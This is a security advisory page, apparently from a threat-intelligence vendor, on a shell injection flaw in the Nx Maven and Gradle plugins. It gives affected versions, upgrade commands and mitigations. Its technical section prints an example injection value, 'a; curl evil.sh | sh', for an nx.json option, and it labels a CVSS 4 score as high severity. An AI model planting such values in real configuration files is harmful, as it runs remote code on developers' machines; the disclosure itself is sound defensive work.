# CVE-2026-119282: Nx shell injection in Maven and Gradle plugins

Source: https://junglewise.ai/threats/cve-2026-119282-nx-is-a-monorepo-solution-for-typescript-and-polyglot-codebases  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-10-29. Updated: 2026-10-29  
License: CC BY 4.0 with a link back

CVE-2026-119282 · Severity: high · CVSS 4 · Published 2026-10-29

Nx is a build tool and monorepo manager for TypeScript and polyglot projects. The Maven and Gradle plugins unsafely interpolate configuration values from nx.json into shell commands, allowing an attacker who controls a repository or pull request to execute arbitrary commands with the developer's privileges during graph analysis. This could lead to code execution, credential theft, or malware installation on developers' machines.

Technologies: [Nrwl Nx](https://junglewise.ai/threats/technologies/nx). Vendors: [npm](https://junglewise.ai/threats/vendors/npm), [Nrwl](https://junglewise.ai/threats/vendors/nrwl).

## Quick answers

**Is CVE-2026-119282 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-119282 being exploited in the wild.

**How severe is CVE-2026-119282?** High severity, with a CVSS score of 4, published 29 October 2026.

**Which products and versions are affected?** @nx/gradle (npm) >= 21.0.0, < 22.7.9, SEMVER:introduced=21.0.0,fixed=22.7.9; @nx/maven (npm) >= 22.0.2, < 22.7.9, SEMVER:introduced=22.0.2,fixed=22.7.9; Nrwl @Nx/Gradle 21.0.0 through 22.7.8, 23.0.0 through 23.1.1; Nrwl @Nx/Maven 22.0.2 through 22.7.8, 23.0.0 through 23.1.1; and 1 more.

**Is there a fix for CVE-2026-119282?** Yes. @nx/gradle (npm): upgrade to 22.7.9 or later; @nx/maven (npm): upgrade to 22.7.9 or later. Until then: Do not clone or run nx commands in untrusted repositories or pull requests that may contain malicious nx.json files. Restrict repository access to trusted contributors, and review nx.json changes in pull requests before merging. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**How is CVE-2026-119282 attacked?** It is attacked with local access, in a software library.

**Am I affected by CVE-2026-119282?** Check whether you run @nx/gradle (npm), @nx/maven (npm), Nrwl @Nx/Gradle or one of the others listed at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- @nx/gradle (npm): upgrade to 22.7.9 or later

  ```sh
  npm install @nx/gradle@22.7.9
  ```

- @nx/maven (npm): upgrade to 22.7.9 or later

  ```sh
  npm install @nx/maven@22.7.9
  ```


Do not clone or run nx commands in untrusted repositories or pull requests that may contain malicious nx.json files. Restrict repository access to trusted contributors, and review nx.json changes in pull requests before merging.

## Technical details

The @nx/maven and @nx/gradle plugins spawn build tool analyzers with shell:true and interpolate plugin options from nx.json directly into command arguments. In Maven, the targetNamePrefix option is injected as -DtargetNamePrefix; in Gradle, all plugin options are mapped to -Pkey=value pairs with an open index signature allowing both key and value injection. An attacker modifying nx.json with payloads like "targetNamePrefix": "a; curl evil.sh | sh" can execute arbitrary shell commands when any nx command constructs the project graph. The fix removes shell execution and passes arguments as arrays, with proper escaping for Windows .bat/.cmd shebangs.

## Affected products

- Nrwl nx 22.0.2 through 22.7.8, 23.0.0 through 23.1.1
- Nrwl @nx/maven 22.0.2 through 22.7.8, 23.0.0 through 23.1.1
- Nrwl @nx/gradle 21.0.0 through 22.7.8, 23.0.0 through 23.1.1

## Identifiers

- CVE-2026-119282
- GHSA-qm8w-vx34-5j9j

## Timeline

- 2026-10-29: disclosed: Vulnerability published
- 2026-08-14: patched: Fix committed; released in versions 22.7.9 and 23.1.2

## References

- [https://github.com/nrwl/nx/commit/02c5d59e8dbbbe30963c0181c6a22cd8c1190a25](https://github.com/nrwl/nx/commit/02c5d59e8dbbbe30963c0181c6a22cd8c1190a25)
- [https://github.com/nrwl/nx/commit/60196b7cfcffcada35b6b90e53bf1a78d049b548](https://github.com/nrwl/nx/commit/60196b7cfcffcada35b6b90e53bf1a78d049b548)

## Related threats

- [Nx OS command injection via git revisions and remote refs](https://junglewise.ai/threats/nx-os-command-injection-via-git-revisions-and-remote-refs-0ec6868f)
- [Nx @nx/docker shell injection in release pipeline](https://junglewise.ai/threats/cve-2026-104859-nx-is-a-monorepo-solution-for-typescript-and-polyglot-codebases)
- [Nx monorepo daemon and plugin worker socket privilege escalation](https://junglewise.ai/threats/cve-2026-104854-nx-is-a-monorepo-solution-for-typescript-and-polyglot-codebases)
- [Nx path traversal in migrate](https://junglewise.ai/threats/cve-2026-104853-nx-is-a-monorepo-solution-for-typescript-and-polyglot-codebases)
- [Nrwl Nx path traversal in self-hosted remote cache](https://junglewise.ai/threats/cve-2026-71476-nrwl-nx-path-traversal-in-self-hosted-remote-cache)